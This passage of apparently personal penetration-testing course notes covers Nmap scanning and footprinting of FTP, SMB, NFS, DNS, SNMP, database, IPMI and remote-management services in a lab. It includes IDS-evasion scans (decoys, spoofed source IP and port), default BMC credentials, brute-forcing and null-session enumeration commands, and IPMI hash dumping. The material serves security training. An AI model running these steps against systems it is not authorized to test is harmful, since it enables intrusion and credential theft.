\u0026lsquo;host\u0026rsquo;. *If we disable port scan (-sn), Nmap automatically ping scan with ICMP Echo Requests (-PE). Once such a request is sent, we usually expect an ICMP reply if the pinging host is alive. The more interesting fact is that our previous scans did not do that because before Nmap could send an ICMP echo request, it would send an ARP ping resulting in an ARP reply. We can confirm this with the \u0026ldquo;--packet-trace\u0026rdquo; option. To ensure that ICMP echo requests are sent, we also define the option (-PE) for this.\nwoadey@htb[/htb]$ sudo nmap 10.129.2.18 -sn -oA host -PE --packet-trace Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-15 00:08 CEST SENT (0.0074s) ARP who-has 10.129.2.18 tell 10.10.14.2 RCVD (0.0309s) ARP reply 10.129.2.18 is-at DE:AD:00:00:BE:EF Nmap scan report for 10.129.2.18 Host is up (0.023s latency). MAC Address: DE:AD:00:00:BE:EF Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds Scanning Options Description 10.129.2.18 Performs defined scans against the target. -sn Disables port scanning. -oA host Stores the results in all formats starting with the name \u0026lsquo;host\u0026rsquo;. -PE Performs the ping scan by using \u0026lsquo;ICMP Echo requests\u0026rsquo; against the target. --packet-trace Shows all packets sent and received. woadey@htb[/htb]$ sudo nmap 10.129.2.18 -sn -oA host -PE --reason Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-15 00:10 CEST SENT (0.0074s) ARP who-has 10.129.2.18 tell 10.10.14.2 RCVD (0.0309s) ARP reply 10.129.2.18 is-at DE:AD:00:00:BE:EF Nmap scan report for 10.129.2.18 Host is up, received arp-response (0.028s latency). MAC Address: DE:AD:00:00:BE:EF Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds Scanning Options Description 10.129.2.18 Performs defined scans against the target. -sn Disables port scanning. -oA host Stores the results in all formats starting with the name \u0026lsquo;host\u0026rsquo;. -PE Performs the ping scan by using \u0026lsquo;ICMP Echo requests\u0026rsquo; against the target. --reason Displays the reason for specific result. Nmap Cheatsheet Scanning Options\nNmap Option Description 10.10.10.0/24 Target network range. -sn Disables port scanning. -Pn Disables ICMP Echo Requests -n Disables DNS Resolution. -PE Performs the ping scan by using ICMP Echo Requests against the target. --packet-trace Shows all packets sent and received. --reason Displays the reason for a specific result. --disable-arp-ping Disables ARP Ping Requests. --top-ports=\u0026lt;num\u0026gt; Scans the specified top ports that have been defined as most frequent. -p- Scan all ports. -p22-110 Scan all ports between 22 and 110. -p22,25 Scans only the specified ports 22 and 25. -F Scans top 100 ports. -sS Performs an TCP SYN-Scan. -sA Performs an TCP ACK-Scan. -sU Performs an UDP Scan. -sV Scans the discovered services for their versions. -sC Perform a Script Scan with scripts that are categorized as \u0026ldquo;default\u0026rdquo;. --script \u0026lt;script\u0026gt; Performs a Script Scan by using the specified scripts. -O Performs an OS Detection Scan to determine the OS of the target. -A Performs OS Detection, Service Detection, and traceroute scans. -D RND:5 Sets the number of random Decoys that will be used to scan the target. -e Specifies the network interface that is used for the scan. -S 10.10.10.200 Specifies the source IP address for the scan. -g Specifies the source port for the scan. --dns-server \u0026lt;ns\u0026gt; DNS resolution is performed by using a specified name server. Output Options\nNmap Option Description -oA filename Stores the results in all available formats starting with the name of \u0026ldquo;filename\u0026rdquo;. -oN filename Stores the results in normal format with the name \u0026ldquo;filename\u0026rdquo;. -oG filename Stores the results in \u0026ldquo;grepable\u0026rdquo; format with the name of \u0026ldquo;filename\u0026rdquo;. -oX filename Stores the results in XML format with the name of \u0026ldquo;filename\u0026rdquo;. Performance Options\nNmap Option Description --max-retries \u0026lt;num\u0026gt; Sets the number of retries for scans of specific ports. --stats-every=5s Displays scan\u0026rsquo;s status every 5 seconds. -v/-vv Displays verbose output during the scan. --initial-rtt-timeout 50ms Sets the specified time value as initial RTT timeout. --max-rtt-timeout 100ms Sets the specified time value as maximum RTT timeout. --min-rate 300 Sets the number of packets that will be sent simultaneously. -T \u0026lt;0-5\u0026gt; Specifies the specific timing template. Host and Port Scanning State Description open This indicates that the connection to the scanned port has been established. These connections can be TCP connections, UDP datagrams as well as SCTP associations. closed When the port is shown as closed, the TCP protocol indicates that the packet we received back contains an RST flag. This scanning method can also be used to determine if our target is alive or not. filtered Nmap cannot correctly identify whether the scanned port is open or closed because either no response is returned from the target for the port or we get an error code from the target. unfiltered This state of a port only occurs during the TCP-ACK scan and means that the port is accessible, but it cannot be determined whether it is open or closed. open|filtered If we do not get a response for a specific port, Nmap will set it to that state. This indicates that a firewall or packet filter may protect the port. closed|filtered This state only occurs in the IP ID idle scans and indicates that it was impossible to determine if the scanned port is closed or filtered by a firewall. Nmap Scripting Engine (NSE) Category Description auth Determination of authentication credentials. broadcast Scripts, which are used for host discovery by broadcasting and the discovered hosts, can be automatically added to the remaining scans. brute Executes scripts that try to log in to the respective service by brute-forcing with credentials. default Default scripts executed by using the -sC option. discovery Evaluation of accessible services. dos These scripts are used to check services for denial of service vulnerabilities and are used less as it harms the services. exploit This category of scripts tries to exploit known vulnerabilities for the scanned port. external Scripts that use external services for further processing. fuzzer This uses scripts to identify vulnerabilities and unexpected packet handling by sending different fields, which can take much time. intrusive Intrusive scripts that could negatively affect the target system. malware Checks if some malware infects the target system. safe Defensive scripts that do not perform intrusive and destructive access. version Extension for service detection. vuln Identification of specific vulnerabilities. Decoys There are cases in which administrators block specific subnets from different regions in principle. This prevents any access to the target network. Another example is when IPS should block us. For this reason, the Decoy scanning method (-D) is the right choice. With this method, Nmap generates various random IP addresses inserted into the IP header to disguise the origin of the packet sent. With this method, we can generate random (RND) a specific number (for example: 5) of IP addresses separated by a colon (:). Our real IP address is then randomly placed between the generated IP addresses. In the next example, our real IP address is therefore placed in the second position. Another critical point is that the decoys must be alive. Otherwise, the service on the target may be unreachable due to SYN-flooding security mechanisms.\nRandom Source IPs\nwoadey@htb[/htb]$ sudo nmap 10.129.2.28 -p 80 -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 16:14 CEST SENT (0.0378s) TCP 102.52.161.59:59289 \u0026gt; 10.129.2.28:80 S ttl=42 id=29822 iplen=44 seq=3687542010 win=1024 \u0026lt;mss 1460\u0026gt; SENT (0.0378s) TCP 10.10.14.2:59289 \u0026gt; 10.129.2.28:80 S ttl=59 id=29822 iplen=44 seq=3687542010 win=1024 \u0026lt;mss 1460\u0026gt; SENT (0.0379s) TCP 210.120.38.29:59289 \u0026gt; 10.129.2.28:80 S ttl=37 id=29822 iplen=44 seq=3687542010 win=1024 \u0026lt;mss 1460\u0026gt; SENT (0.0379s) TCP 191.6.64.171:59289 \u0026gt; 10.129.2.28:80 S ttl=38 id=29822 iplen=44 seq=3687542010 win=1024 \u0026lt;mss 1460\u0026gt; SENT (0.0379s) TCP 184.178.194.209:59289 \u0026gt; 10.129.2.28:80 S ttl=39 id=29822 iplen=44 seq=3687542010 win=1024 \u0026lt;mss 1460\u0026gt; SENT (0.0379s) TCP 43.21.121.33:59289 \u0026gt; 10.129.2.28:80 S ttl=55 id=29822 iplen=44 seq=3687542010 win=1024 \u0026lt;mss 1460\u0026gt; RCVD (0.1370s) TCP 10.129.2.28:80 \u0026gt; 10.10.14.2:59289 SA ttl=64 id=0 iplen=44 seq=4056111701 win=64240 \u0026lt;mss 1460\u0026gt; Nmap scan report for 10.129.2.28 Host is up (0.099s latency). PORT STATE SERVICE 80/tcp open http MAC Address: DE:AD:00:00:BE:EF (Intel Corporate) Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds Scanning Options Description 10.129.2.28 Scans the specified target. -p 80 Scans only the specified ports. -sS Performs SYN scan on specified ports. -Pn Disables ICMP Echo requests. -n Disables DNS resolution. --disable-arp-ping Disables ARP ping. --packet-trace Shows all packets sent and received. -D RND:5 Generates five random IP addresses that indicates the source IP the connection comes from. Specified Source IP\nwoadey@htb[/htb]$ sudo nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200 -e tun0 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-22 01:16 CEST Nmap scan report for 10.129.2.28 Host is up (0.010s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: DE:AD:00:00:BE:EF (Intel Corporate) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Linux 2.6.32 - 3.10 (96%), Linux 3.4 - 3.10 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Synology DiskStation Manager 5.2-5644 (94%), Linux 2.6.32 - 2.6.35 (94%), Linux 2.6.32 - 3.5 (94%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 4.11 seconds Scanning Options Description 10.129.2.28 Scans the specified target. -n Disables DNS resolution. -Pn Disables ICMP Echo requests. -p 445 Scans only the specified ports. -O Performs operation system detection scan. -S Scans the target by using different source IP address. 10.129.2.200 Specifies the source IP address. -e tun0 Sends all requests through the specified interface. Specified Source Port\nwoadey@htb[/htb]$ sudo nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53 SENT (0.0482s) TCP 10.10.14.2:53 \u0026gt; 10.129.2.28:50000 S ttl=58 id=27470 iplen=44 seq=4003923435 win=1024 \u0026lt;mss 1460\u0026gt; RCVD (0.0608s) TCP 10.129.2.28:50000 \u0026gt; 10.10.14.2:53 SA ttl=64 id=0 iplen=44 seq=540635485 win=64240 \u0026lt;mss 1460\u0026gt; Nmap scan report for 10.129.2.28 Host is up (0.013s latency). PORT STATE SERVICE 50000/tcp open ibm-db2 MAC Address: DE:AD:00:00:BE:EF (Intel Corporate) Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds Scanning Options Description 10.129.2.28 Scans the specified target. -p 50000 Scans only the specified ports. -sS Performs SYN scan on specified ports. -Pn Disables ICMP Echo requests. -n Disables DNS resolution. --disable-arp-ping Disables ARP ping. --packet-trace Shows all packets sent and received. --source-port 53 Performs the scans from specified source port. Complete Link Of Completion\nFootprinting Enumeration Principles No. Principle 1. There is more than meets the eye. Consider all points of view. 2. Distinguish between what we see and what we do not see. 3. There are always ways to gain more information. Understand the target. Enumermation Questions\nWhat can we see? What reasons can we have for seeing it? What image does what we see create for us? What do we gain from it? How can we use it? What can we not see? What reasons can there be that we do not see? What image results for us from what we do not see? Enumeration Methodology Layer Description Information Categories 1. Internet Presence Identification of internet presence and externally accessible infrastructure. Domains, Subdomains, vHosts, ASN, Netblocks, IP Addresses, Cloud Instances, Security Measures 2. Gateway Identify the possible security measures to protect the company\u0026rsquo;s external and internal infrastructure. Firewalls, DMZ, IPS/IDS, EDR, Proxies, NAC, Network Segmentation, VPN, Cloudflare 3. Accessible Services Identify accessible interfaces and services that are hosted externally or internally. Service Type, Functionality, Configuration, Port, Version, Interface 4. Processes Identify the internal processes, sources, and destinations associated with the services. PID, Processed Data, Tasks, Source, Destination 5. Privileges Identification of the internal permissions and privileges to the accessible services. Groups, Users, Permissions, Restrictions, Environment 6. OS Setup Identification of the internal components and systems setup. OS Type, Patch Level, Network config, OS Environment, Configuration files, sensitive private files FTP FTP, or File Transfer Protocol, is a standard network protocol used for the transfer of files between a client and server on a computer network. The FTP runs within the application layer of the TCP/IP protocol stack. It\u0026rsquo;s built on a client-server model architecture and uses separate control and data connections between the client and the server.\nPorts\n20 (TCP): Data transfer port (Active Mode). 21 (TCP): Command/control port (used for connecting to the FTP server). vsFTPd\nSetting Description listen=NO Run from inetd or as a standalone daemon? listen_ipv6=YES Listen on IPv6 ? anonymous_enable=NO Enable Anonymous access? local_enable=YES Allow local users to login? dirmessage_enable=YES Display active directory messages when users go into certain directories? use_localtime=YES Use local time? xferlog_enable=YES Activate logging of uploads/downloads? connect_from_port_20=YES Connect from port 20? secure_chroot_dir=/var/run/vsftpd/empty Name of an empty directory pam_service_name=vsftpd This string is the name of the PAM service vsftpd will use. rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem The last three options specify the location of the RSA certificate to use for SSL encrypted connections. rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key ssl_enable=NO Dangerous Settings\nSetting Description anonymous_enable=YES Allowing anonymous login? anon_upload_enable=YES Allowing anonymous to upload files? anon_mkdir_write_enable=YES Allowing anonymous to create new directories? no_anon_password=YES Do not ask anonymous for password? anon_root=/home/username/ftp Directory for anonymous. write_enable=YES Allow the usage of FTP commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE? SMB SMB, or Server Message Block, is a network file sharing protocol that allows applications on a computer to read and write to files and request services from server programs in a computer network. SMB is used to enable access to files, printers, and other shared resources on a network.\nPorts\n137 (UDP): Used for NetBIOS name service. 138 (UDP): Used for NetBIOS datagram service. 139 (TCP/UDP): Used for SMB over NetBIOS (a legacy protocol). 445 (TCP/UDP): Used for SMB over TCP/IP (CIFS only uses port 445) smb.conf\nSetting Description [sharename] The name of the network share. workgroup = WORKGROUP/DOMAIN Workgroup that will appear when clients query. path = /path/here/ The directory to which user is to be given access. server string = STRING The string that will show up when a connection is initiated. unix password sync = yes Synchronize the UNIX password with the SMB password? usershare allow guests = yes Allow non-authenticated users to access defined share? map to guest = bad user What to do when a user login request doesn\u0026rsquo;t match a valid UNIX user? browseable = yes Should this share be shown in the list of available shares? guest ok = yes Allow connecting to the service without using a password? read only = yes Allow users to read files only? create mask = 0700 What permissions need to be set for newly created files? Dangerous Settings\nSetting Description browseable = yes Allow listing available shares in the current share? read only = no Forbid the creation and modification of files? writable = yes Allow users to create and modify files? guest ok = yes Allow connecting to the service without using a password? enable privileges = yes Honor privileges assigned to specific SID? create mask = 0777 What permissions must be assigned to the newly created files? directory mask = 0777 What permissions must be assigned to the newly created directories? logon script = script.sh What script needs to be executed on the user\u0026rsquo;s login? magic script = script.sh Which script should be executed when the script gets closed? magic output = script.out Where the output of the magic script needs to be stored? SMB Tools\nsmbclient RPCclient Samrdump.py (Impacket) SMBmap CrackMapExec Enum4Linux-ng NFS Network File System (NFS) is a network file system developed by Sun Microsystems and has the same purpose as SMB. Its purpose is to access file systems over a network as if they were local. However, it uses an entirely different protocol. NFS is used between Linux and Unix systems. This means that NFS clients cannot communicate directly with SMB servers. NFS is an Internet standard that governs the procedures in a distributed file system.\nVersion Features NFSv2 It is older but is supported by many systems and was initially operated entirely over UDP. NFSv3 It has more features, including variable file size and better error reporting, but is not fully compatible with NFSv2 clients. NFSv4 It includes Kerberos, works through firewalls and on the Internet, no longer requires portmappers, supports ACLs, applies state-based operations, and provides performance improvements and high security. It is also the first version to have a stateful protocol. Ports\n111 (TCP): RPCbind/Portmapper 2049 (TCP/UDP): This is the primary port used by NFS servers for client-server communication. /etc/exports\nOption Description rw Read and write permissions. ro Read only permissions. sync Synchronous data transfer. (A bit slower) async Asynchronous data transfer. (A bit faster) secure Ports above 1024 will not be used. insecure Ports above 1024 will be used. no_subtree_check This option disables the checking of subdirectory trees. root_squash Assigns all permissions to files of root UID/GID 0 to the UID/GID of anonymous, which prevents root from accessing files on an NFS mount. Dangerous Settings\nOption Description rw Read and write permissions. insecure Ports above 1024 will be used. nohide If another file system was mounted below an exported directory, this directory is exported by its own exports entry. no_root_squash All files created by root are kept with the UID/GID 0. Show Mount\nwoadey@htb[/htb]$ showmount -e 10.129.14.128 Export list for 10.129.14.128: /mnt/nfs 10.129.14.0/24 Mount NFS Share\nwoadey@htb[/htb]$ mkdir target-NFS woadey@htb[/htb]$ sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock woadey@htb[/htb]$ cd target-NFS woadey@htb[/htb]$ tree . . └── mnt └── nfs ├── id_rsa ├── id_rsa.pub └── nfs.share 2 directories, 3 files Unmounting\nwoadey@htb[/htb]$ sudo umount ./target-NFS DNS DNS, or Domain Name System, is a hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. It translates more readily memorized domain names to the numerical IP addresses needed for locating and identifying computer services and devices with the underlying network protocols.\nPorts\n53 (TCP/UDP): The primary port used by DNS servers. Server Type Description DNS Root Server The root servers of the DNS are responsible for the top-level domains (TLD). As the last instance, they are only requested if the name server does not respond. Thus, a root server is a central interface between users and content on the Internet, as it links domain and IP address. The Internet Corporation for Assigned Names and Numbers (ICANN) coordinates the work of the root name servers. There are 13 such root servers around the globe. Authoritative Nameserver Authoritative name servers hold authority for a particular zone. They only answer queries from their area of responsibility, and their information is binding. If an authoritative name server cannot answer a client\u0026rsquo;s query, the root name server takes over at that point. Non-authoritative Nameserver Non-authoritative name servers are not responsible for a particular DNS zone. Instead, they collect information on specific DNS zones themselves, which is done using recursive or iterative DNS querying. Caching DNS Server Caching DNS servers cache information from other name servers for a specified period. The authoritative name server determines the duration of this storage. Forwarding Server Forwarding servers perform only one function: they forward DNS queries to another DNS server. Resolver Resolvers are not authoritative DNS servers but perform name resolution locally in the computer or router. DNS Record Description A Returns an IPv4 address of the requested domain as a result. AAAA Returns an IPv6 address of the requested domain. MX Returns the responsible mail servers as a result. NS Returns the DNS servers (nameservers) of the domain. TXT This record can contain various information. The all-rounder can be used, e.g., to validate the Google Search Console or validate SSL certificates. In addition, SPF and DMARC entries are set to validate mail traffic and protect it from spam. CNAME This record serves as an alias. If the domain \u0026lt;www.hackthebox.eu\u0026gt; should point to the same IP, and we create an A record for one and a CNAME record for the other. PTR The PTR record works the other way around (reverse lookup). It converts IP addresses into valid domain names. SOA Provides information about the corresponding DNS zone and email address of the administrative contact. DNS Tools\ndnsenum dig SMTP The Simple Mail Transfer Protocol (SMTP) is a protocol for sending emails in an IP network. It can be used between an email client and an outgoing mail server or between two SMTP servers. SMTP is often combined with the IMAP or POP3 protocols, which can fetch emails and send emails. In principle, it is a client-server-based protocol, although SMTP can be used between a client and a server and between two SMTP servers.\nPorts\n25 (TCP): This is the default SMTP non-encrypted port. It\u0026rsquo;s widely used for SMTP relaying and communication between mail servers. 587 (TCP): Recommended for SMTP submission, especially for clients sending emails to a server. It supports STARTTLS, allowing encryption. 465 (TCP): Originally intended for SMTPS (SMTP over SSL), but was never standardized. Some systems still use it for SMTP with SSL/TLS encryption from the start of the connection. Command Description AUTH PLAIN AUTH is a service extension used to authenticate the client. HELO The client logs in with its computer name and thus starts the session. MAIL FROM The client names the email sender. RCPT TO The client names the email recipient. DATA The client initiates the transmission of the email. RSET The client aborts the initiated transmission but keeps the connection between client and server. VRFY The client checks if a mailbox is available for message transfer. EXPN The client also checks if a mailbox is available for messaging with this command. NOOP The client requests a response from the server to prevent disconnection due to time-out. QUIT The client terminates the session. SMTP Tools\nsmtp-user-enum telnet IMAP / POP3 With the help of the Internet Message Access Protocol (IMAP), access to emails from a mail server is possible. Unlike the Post Office Protocol (POP3), IMAP allows online management of emails directly on the server and supports folder structures. Thus, it is a network protocol for the online management of emails on a remote server. The protocol is client-server-based and allows synchronization of a local email client with the mailbox on the server, providing a kind of network file system for emails, allowing problem-free synchronization across several independent clients. POP3, on the other hand, does not have the same functionality as IMAP, and it only provides listing, retrieving, and deleting emails as functions at the email server. Therefore, protocols such as IMAP must be used for additional functionalities such as hierarchical mailboxes directly at the mail server, access to multiple mailboxes during a session, and preselection of emails.\nPorts\n110 (TCP): POP3 (Standard) Used for retrieving emails with the Post Office Protocol version 3 (POP3) in a non-encrypted form. 143 (TCP): IMAP (Standard) Utilized for accessing emails using the Internet Message Access Protocol (IMAP) without encryption. 993 (TCP): IMAP over SSL/TLS (Secure) For accessing emails via IMAP securely using SSL/TLS encryption. 995 (TCP): POP3 over SSL/TLS (Secure) Used for secure email retrieval using POP3 with SSL/TLS encryption. IMAP Tools\nevolution curl openssl SNMP Simple Network Management Protocol (SNMP) is a widely used protocol for managing devices on IP networks. It\u0026rsquo;s used for collecting information from, and configuring, network devices such as servers, printers, switches, routers, and more.\nPorts\n161 (UDP): The main port used by SNMP for sending and receiving requests. 162 (UDP): This port is used for SNMP traps. Traps are alerts or notifications sent from an SNMP-enabled device to a management station. MIB\nTo ensure that SNMP access works across manufacturers and with different client-server combinations, the Management Information Base (MIB) was created. MIB is an independent format for storing device information. A MIB is a text file in which all queryable SNMP objects of a device are listed in a standardized tree hierarchy. It contains at least one Object Identifier (OID), which, in addition to the necessary unique address and a name, also provides information about the type, access rights, and a description of the respective object. MIB files are written in the Abstract Syntax Notation One (ASN.1) based ASCII text format. The MIBs do not contain data, but they explain where to find which information and what it looks like, which returns values for the specific OID, or which data type is used.\nOID\nAn OID represents a node in a hierarchical namespace. A sequence of numbers uniquely identifies each node, allowing the node\u0026rsquo;s position in the tree to be determined. The longer the chain, the more specific the information. Many nodes in the OID tree contain nothing except references to those below them. The OIDs consist of integers and are usually concatenated by dot notation.\nDangerous Settings\nSettings Description rwuser noauth Provides access to the full OID tree without authentication. rwcommunity \u0026lt;community string\u0026gt; \u0026lt;IPv4 address\u0026gt; Provides access to the full OID tree regardless of where the requests were sent from. rwcommunity6 \u0026lt;community string\u0026gt; \u0026lt;IPv6 address\u0026gt; Same access as with rwcommunity with the difference of using IPv6. SNMP Tools\nSNMPwalk OneSixtyOne Braa MySQL MySQL is a popular open-source relational database management system (RDBMS). It\u0026rsquo;s widely used for a variety of applications, from small personal projects to large enterprise systems.\nPorts\n3306 (TCP): This is the default port used by MySQL. When a client connects to a MySQL server, it typically uses this port. Dangerous Settings\nSettings Description user Sets which user the MySQL service will run as. password Sets the password for the MySQL user. admin_address The IP address on which to listen for TCP/IP connections on the administrative network interface. debug This variable indicates the current debugging settings. sql_warnings This variable controls whether single-row INSERT statements produce an information string if warnings occur. secure_file_priv This variable is used to limit the effect of data import and export operations. Key Commands\nCommand Description mysql -u \u0026lt;user\u0026gt; -p\u0026lt;password\u0026gt; -h \u0026lt;IP address\u0026gt; Connect to the MySQL server. There should not be a space between the \u0026lsquo;-p\u0026rsquo; flag, and the password. show databases; Show all databases. use \u0026lt;database\u0026gt;; Select one of the existing databases. show tables; Show all available tables in the selected database. show columns from \u0026lt;table\u0026gt;; Show all columns in the selected database. select * from \u0026lt;table\u0026gt;; Show everything in the desired table. select * from \u0026lt;table\u0026gt; where \u0026lt;column\u0026gt; = \u0026quot;\u0026lt;string\u0026gt;\u0026quot;; Search for needed string in the desired table. MSSQL Microsoft SQL Server (MSSQL) is a relational database management system developed by Microsoft. It\u0026rsquo;s designed to store, retrieve, and manage data for various software applications.\nPorts\n1433 (TCP): Default port for the SQL Server database engine. 1434 (TCP): Used for SQL Server named instances and the SQL Server Browser Service. Default Databases\nDefault System Database Description master Tracks all system information for an SQL server instance model Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database msdb The SQL Server Agent uses this database to schedule jobs \u0026amp; alerts tempdb Stores temporary objects resource Read-only database containing system objects included with SQL server Tools\nnmap msfconsole (scanner/mssql/mssql_ping) mssqlclient.py dbeaver IPMI Intelligent Platform Management Interface (IPMI) is a standardized computer system interface used for out-of-band management of computer systems and monitoring of their operation. It allows system administrators to manage systems remotely and monitor system health, even in the absence of an operating system or when the system is powered off. Systems that use the IPMI protocol are called Baseboard Management Controllers (BMCs). Gaining access to a BMC is nearly equivalent to physical access to a system.\nPorts\n623 (UDP/TCP): The default port used for IPMI. It\u0026rsquo;s used for remote management and monitoring. BMC Default Credentials Product Username Password\nProduct Username Password Dell iDRAC root calvin HP iLO Administrator randomized 8-character string consisting of numbers and uppercase letters Supermicro IPMI ADMIN ADMIN Tools\nnmap msfconsole (scanner/ipmi/ipmi_version, scanner/ipmi/ipmi_dumphashes) SSH Secure Shell (SSH) is a cryptographic network protocol used for secure data communication, remote command-line login, remote command execution, and other secure network services between two networked computers.\nPorts\n22 (TCP): The default port used for SSH connections. Dangerous Settings\nSetting Description PasswordAuthentication yes Allows password-based authentication. PermitEmptyPasswords yes Allows the use of empty passwords. PermitRootLogin yes Allows to log in as the root user. Protocol 1 Uses an outdated version of encryption. X11Forwarding yes Allows X11 forwarding for GUI applications. AllowTcpForwarding yes Allows forwarding of TCP ports. PermitTunnel Allows tunneling. DebianBanner yes Displays a specific banner when logging in. Tools\nssh-audit.py Rsync Rsync is a utility for efficiently transferring and synchronizing files across computer systems, using a data streaming technique to minimize data transfer.\nPorts\n873 (TCP/UDP): The default port used for Rsync services. Tools\nnmap nc rsync R-Services R-Services refers to a suite of services for remote command execution, typically used in UNIX and Linux environments. These include Rlogin, Rsh, and Rexec.\nPorts\n514 (TCP/UDP): Used for Rsh (Remote Shell). 513 (TCP/UDP): Used for Rlogin (Remote Login). 512 (TCP): Used for Rexec (Remote Execution). Commands\nCommand Service Daemon Port Transport Protocol Description rcp rshd 514 TCP Copy a file or directory bidirectionally from the local system to the remote system (or vice versa) or from one remote system to another. It works like the cp command on Linux but provides no warning to the user for overwriting existing files on a system. rsh rshd 514 TCP Opens a shell on a remote machine without a login procedure. Relies upon the trusted entries in the /etc/hosts.equiv and .rhosts files for validation. rexec rexecd 512 TCP Enables a user to run shell commands on a remote machine. Requires authentication through the use of a username and password through an unencrypted network socket. Authentication is overridden by the trusted entries in the /etc/hosts.equiv and .rhosts files. rlogin rlogind 513 TCP Enables a user to log in to a remote host over the network. It works similarly to telnet but can only connect to Unix-like hosts. Authentication is overridden by the trusted entries in the /etc/hosts.equiv and .rhosts files. RDP Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, providing a user with a graphical interface to connect to another computer over a network connection.\nPorts\n3389 (TCP/UDP): The default port used for RDP connections. RDP Tools\nnmap xfreerdp rdesktop remmina Windows Remote Management (WinRM) Windows Remote Management (WinRM) is Microsoft\u0026rsquo;s implementation of the WS-Management protocol, a standard web services protocol used for remote software and hardware management.\nPorts\n5985 (TCP): Used for HTTP connections. 5986 (TCP): Used for HTTPS connections. WinRM Tools\nTest-WsMan evil-winrm WMI Windows Management Instrumentation (WMI) is a set of extensions to the Windows Driver Model that provides an operating system interface through which instrumented components provide information and notification.\nPorts\n135 (TCP): The default port used for WMI connections. WMI Tools\nwmiexec.py Infrastructure-based Enumeration Cheatsheet Command Description curl -s https://crt.sh/\\?q\\=\u0026lt;target-domain\u0026gt;\\\u0026amp;output\\=json | jq . Certificate transparency. for i in $(cat ip-addresses.txt);do shodan host $i;done Scan each IP address in a list using Shodan. Host-based Enumeration Cheatsheet FTP\nCommand Description ftp \u0026lt;FQDN/IP\u0026gt; Interact with the FTP service on the target. nc -nv \u0026lt;FQDN/IP\u0026gt; 21 Interact with the FTP service on the target. telnet \u0026lt;FQDN/IP\u0026gt; 21 Interact with the FTP service on the target. openssl s_client -connect \u0026lt;FQDN/IP\u0026gt;:21 -starttls ftp Interact with the FTP service on the target using encrypted connection. wget -m --no-passive ftp://anonymous:anonymous@\u0026lt;target\u0026gt; Download all available files on the target FTP server. SMB\nCommand Description smbclient -N -L //\u0026lt;FQDN/IP\u0026gt; Null session authentication on SMB. smbclient //\u0026lt;FQDN/IP\u0026gt;/\u0026lt;share\u0026gt; Connect to a specific SMB share. rpcclient -U \u0026quot;\u0026quot; \u0026lt;FQDN/IP\u0026gt; Interaction with the target using RPC. samrdump.py \u0026lt;FQDN/IP\u0026gt; Username enumeration using Impacket scripts. smbmap -H \u0026lt;FQDN/IP\u0026gt; Enumerating SMB shares. crackmapexec smb \u0026lt;FQDN/IP\u0026gt; --shares -u '' -p '' Enumerating SMB shares using null session authentication. enum4linux-ng.py \u0026lt;FQDN/IP\u0026gt; -A SMB enumeration using enum4linux. NFS\nCommand Description showmount -e \u0026lt;FQDN/IP\u0026gt; Show available NFS shares. mount -t nfs \u0026lt;FQDN/IP\u0026gt;:/\u0026lt;share\u0026gt; ./target-NFS/ -o nolock Mount the specific NFS share.umount ./target-NFS umount ./target-NFS Unmount the specific NFS share. DNS\nCommand Description dig ns \u0026lt;domain.tld\u0026gt; @\u0026lt;nameserver\u0026gt; NS request to the specific nameserver. dig any \u0026lt;domain.tld\u0026gt; @\u0026lt;nameserver\u0026gt; ANY request to the specific nameserver. dig axfr \u0026lt;domain.tld\u0026gt; @\u0026lt;nameserver\u0026gt; AXFR request to the specific nameserver. dnsenum --dnsserver \u0026lt;nameserver\u0026gt; --enum -p 0 -s 0 -o found_subdomains.txt -f ~/subdomains.list \u0026lt;domain.tld\u0026gt; Subdomain brute forcing. SMTP\nCommand Description telnet \u0026lt;FQDN/IP\u0026gt; 25 IMAP/POP3\nCommand Description curl -k 'imaps://\u0026lt;FQDN/IP\u0026gt;' --user \u0026lt;user\u0026gt;:\u0026lt;password\u0026gt; Log in to the IMAPS service using cURL. openssl s_client -connect \u0026lt;FQDN/IP\u0026gt;:imaps Connect to the IMAPS service. openssl s_client -connect \u0026lt;FQDN/IP\u0026gt;:pop3s Connect to the POP3s service. SNMP\nCommand Description snmpwalk -v2c -c \u0026lt;community string\u0026gt; \u0026lt;FQDN/IP\u0026gt; Querying OIDs using snmpwalk. onesixtyone -c community-strings.list \u0026lt;FQDN/IP\u0026gt; Bruteforcing community strings of the SNMP service. braa \u0026lt;community string\u0026gt;@\u0026lt;FQDN/IP\u0026gt;:.1.* Bruteforcing SNMP service OIDs. MySQL\nCommand Description mysql -u \u0026lt;user\u0026gt; -p\u0026lt;password\u0026gt; -h \u0026lt;FQDN/IP\u0026gt; Login to the MySQL server. MSSQL\nCommand Description mssqlclient.py \u0026lt;user\u0026gt;@\u0026lt;FQDN/IP\u0026gt; -windows-auth Log in to the MSSQL server using Windows authentication. IPMI\nCommand Description msf6 auxiliary(scanner/ipmi/ipmi_version) IPMI version detection. msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) Dump IPMI hashes. Linux Remote Management\nCommand Description ssh-audit.py \u0026lt;FQDN/IP\u0026gt; Remote security audit against the target SSH service. ssh 